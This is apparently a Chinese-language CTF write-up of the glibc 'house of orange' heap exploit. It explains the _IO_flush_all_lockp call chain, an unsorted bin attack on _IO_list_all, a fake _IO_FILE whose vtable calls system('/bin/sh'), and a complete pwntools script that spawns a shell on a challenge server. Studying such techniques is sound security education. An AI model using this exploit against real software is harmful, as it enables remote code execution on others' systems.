house_of_orange

文章发布时间:

最后更新时间:

文章总字数:
1k

预计阅读时间:
4 分钟

页面浏览:加载中...

house_of_orange

利用条件

无free,可改topchunk

前置知识

理清IO链

1
malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW

这条函数调用链中,只有_IO_OVERFLOW,需要我们构造触发条件,条件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
if (
(
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) ||
(
_IO_vtable_offset (fp) == 0 && fp->_mode > 0 &&
(
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
)
)
)
&& _IO_OVERFLOW (fp, EOF) == EOF
)
result = EOF;

观察上面的代码发现,如果我们要想执行_IO_OVERFLOW (fp, EOF)就需要让最外面的if中&&前面的那部分成立,而这部分中间又用了一个||来连接两个条件,分别是(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base
这两部分条件任意满足一处即可,前面那个部分的条件满足起来很省事,我们只需要让mode=0,_IO_write_ptr=1,_IO_write_base=0即可(这仨值改成其他的也行,只需要满足条件即可),这样就会触发_IO_OVERFLOW。

利用思路

控制IO结构体

利用topchunk堆拓展,将先前的topchunk放入unsorted bin,然后打一个unsorted bin attack,将main_arena+88(unsortedbin)写入_IO_list_all,如果我们在 _IO_list_all 利用 unsorted bin attack 写入 main_arena_88 ,那么,main_arena_88 就会被当成一个 _IO_FILE 结构体,而 main_arena_88 + 0x68 = main_arena_C0 ,也就是 _IO_FILE 结构体中存放 chain 指针的地方,也是存放 0x60 大小 small bin 第一个 free chunk 地址的地方,如果我们伪造一个 small bin 为 _IO_FILE 结构体,那么我们就能够准确地劫持程序了,只需要让unsorted bin attack过后的chunk,携带着fake_IO,进入smallbin,等到这条IO链触发,即可篡改虚表函数并写入参数

构造fake_IO

我们将IO_FILE结构体落在我们可控的内存上,这就意味着我们是可以控制vtable的,我们将vtable中的_IO_overflow函数地址改成system地址即可,而这个函数的第一个参数就是IO_FILE结构体的地址,因此我们让IO_FILE结构体中的flags成员为/bin/sh字符串,那么当执行exit函数或者libc执行abort流程时或者程序从main函数返回时触发了_IO_flush_all_lockp即可拿到shell

思路理清之后构造fake_IO

1
2
3
4
5
6
fake_IO+=b'/bin/sh\x00'+p64(0x61) 		#old top chunk prev_size & size 同时也是fake file的_flags字段
fake_IO+=p64(0)+p64(_IO_list_all-0x10) #old top chunk fd & bk
fake_IO+=p64(0)+p64(1) #_IO_write_base & _IO_write_ptr
fake_IO+=p64(0)*21 #填充
fake_IO+=p64(heap_base+0xf50+0xc8) #指向system地址即可,就是下面这个
fake_IO+=p64(system) #留一个system地址,等调用

触发IO链

先前已经用unsorted bin攻击,unsorted bin 已被破坏

只需要再申请一个其他bin里没有的大小,即可触发

1
malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from std_pwn import *

context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h'])
elf = ELF("./eznote")
getProcess("ctf.qwq.cc",13148,'./eznote')
libc = ELF("./libc-2.23.so")

def add(size,content):
sla(b'choice :', '1')
sla(b'Length of Note : ', str(size))
sa(b'Content of Note:',content)

def edit(index,content):
sla(b'choice :', '2')
sla(b'Index :', str(index))
sla(b'Length of Note :',str(len(content)))
sa(b'Content of Note :',content)

def show(index):
sla(b'choice :', '3')
sla(b'Index :', str(index))

ru("A gift for you~: ")
gift=int(rl()[:-1],16)
heap_base=gift-0x55ae50c07010+0x55ae50c07000
add(0x10,b'123')
edit(0,b'a'*0x18+p64(0xb1))
add(0x100,b'123')
edit(0,b'a'*0x20)
show(0)
libc_base=uu64(ru("\x7f")[-6:])-0x7fa03df29b78+0x7fa03db65000
log(libc_base)
_IO_list_all=libc_base+libc.sym['_IO_list_all']
system=libc_base + libc.sym['system']

payload = b'a' * 0x10

payload+=b'/bin/sh\x00'+p64(0x61) #old top chunk prev_size & size 同时也是fake file的_flags字段
payload+=p64(0)+p64(_IO_list_all-0x10) #old top chunk fd & bk
payload+=p64(0)+p64(1) #_IO_write_base & _IO_write_ptr
payload+=p64(0)*21 #填充
payload+=p64(heap_base+0xf50+0xc8) #指向system地址即可,就是下面这个
payload+=p64(system) #留一个system地址,等调用


edit(0,payload)
log(gift)
gdba()
sla(b'choice :', '1')
sla(b'Length of Note : ', str())

ita()